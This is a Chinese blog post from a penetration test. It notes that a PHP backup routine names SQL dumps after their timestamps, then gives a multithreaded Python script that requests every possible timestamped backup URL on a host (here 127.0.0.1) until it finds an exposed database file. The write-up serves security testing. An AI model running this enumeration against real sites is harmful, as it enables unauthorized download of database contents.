首页 > 数据库 >利用Python爆破数据库备份文件

利用Python爆破数据库备份文件

时间:2023-05-22 19:01:19浏览次数:47  
标签:__ name Python 数据库 req 备份文件 sql time


  某次测试过程中,发现PHP备份功能代码如下:


// 根据时间生成备份文件名
$file_name = 'D' . date('Ymd') . 'T' . date('His');
$sql_file_name = $file_name . '.sql';



  那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

Python测试脚本:

简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。



#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import time
import requests
import threadpool

date= "2018-01-18 10:00:00"  //开始时间
datelist=[]

def gettime():
    timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
    time1= int(time.mktime(timeArray))
    time2=int(time.time())
    for i in range(time1,time2):
        time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
        datelist.append(time3)
    return datelist
def req(str):           
    try:
        str1,str2=str.split()
        date1="D"+str1+"T"+str2
        url="http://127.0.0.1/data/backup/"+date1+".sql"
        s=requests.get(url,timeout=5)
        if  s.status_code==200:
            print u"数据库备份文件爆破成功:"
            print url
    except:
        pass

if __name__ == '__main__':
    list=gettime()
    pool = threadpool.ThreadPool(1000) 
    requ = threadpool.makeRequests(req,list) 
    [pool.putRequest(req) for req in requ] 
    pool.wait()



Python 测试截图:

利用Python爆破数据库备份文件_时间戳

 



标签:__,name,Python,数据库,req,备份文件,sql,time
From: https://blog.51cto.com/bypass/6326676

相关文章

  • python - selenium + Edge
    1.安装相关库和下载相关文件pip3installseleniumpip3installmsedge-selenium-tools在https://developer.microsoft.com/zh-cn/microsoft-edge/tools/webdriver/下载msedgedriver.exe,可在edge帮助查看当前edge的版本号,下载对应版本即可2.代码fromseleniumimportwe......
  • python 安装pip
    目录python安装pip下载get-pip.py脚本运行get-pip.py脚本pip使用python安装pip在安装Python库时,常用的工具是pip(Python包管理器)。如果你在使用Python时还没有安装pip,你可以按照以下步骤安装:下载get-pip.py脚本你可以从官方网站https://bootstrap.pypa.io/get-......
  • mkvirtualenv创建虚拟环境指定python版本号
    mkvirtualenv创建的虚拟环境,不指定具体的python版本时,默认使用的python版本是添加的环境变量中设置的pyhton版本。mkvirtualenv可以指定python版本,如:mkvirtualenv--python=python3.10venvname#venvname虚拟环境名称或者mkvirtualenv-ppython3.10venvname#venvna......
  • Python的基础语法(五)“数据内置方法之字典、元组、集合”
    字典的内置方法1、字典常用的定义方法:info={'name':'tony','age':18,'sex':'male'}info=dict(name='tony',age='18')2、字典的内置方法2.1、按照key取值,可存可取:dic={......
  • Python多进程运行——Multiprocessing基础教程2
    转载:Python多进程运行——Multiprocessing基础教程2-知乎(zhihu.com)1数据共享在多进程处理中,所有新创建的进程都会有这两个特点:独立运行,有自己的内存空间。我们来举个例子展示一下:importmultiprocessing#emptylistwithglobalscoperesult=[]defsquare_l......
  • 聊聊python的字符编码
    什么是字符编码?在计算机内部,所有的数据都是二进制形式存储的,无法直接存储我们人类的语言文字符号等,所以我们需要制定一种转换规则来明确计算机内部二进制与我们的数字符号文字之间的对应关系,这就出现了‘字符编码’。字符编码的发展史阶段一现代计算机起源于美国,所以......
  • 比较不同Python图形处理库或图像处理库的异同点
    python的图像处理库有很多种比如:pillow库、Numpy库、Scipy库、opencv库、pgmagic库等其中较常用的是NUmapy库、pillow库、openCV库,今天我们就这三种图像处理库来进行比较首先是numapy库;他是一个python库可以帮助我们处理所有类型的科学计算,他是在执行任何数据预处理或数据科......
  • Python中for循环
    在Python中,for循环用于遍历可迭代对象(如列表、元组、字符串等)中的元素,并执行相应的操作。for循环的基本语法如下:forelementiniterable:#执行操作其中,element是一个变量,用于存储每次循环迭代的元素值,iterable是一个可迭代对象,包含一系列元素。以下是一个简单的示例,演示如......
  • 关于MySQL数据库的加密解密问题
    SELECTMD5(‘123456’);结果显示的密文即为:e10adc3949ba59abbe56e057f20f883e解密MySQL中的MD5加密密码,需要使用MySQL中的UNHEX()函数。UNHEX()函数可以接收一个十六进制格式的参数,将其转换为原始字符串格式。例如我们可以这样使用UNHEX()函数解密前面我们生成的初始密文:SELEC......
  • AcWing901. 滑雪(python)
    题目详情知识点记忆化DP思路自己的思路(仅参考):一开始想的是找最大值,然后从最大值开始向下滑,但是我们是要求最长路径,不一定是从最高的点滑下去的,也不一定是滑到最低点,而且会存在最大值不止一个的情况,所以我们应该是针对每一个点,都求出当前该点出发能去的最长路径,然后求完之后......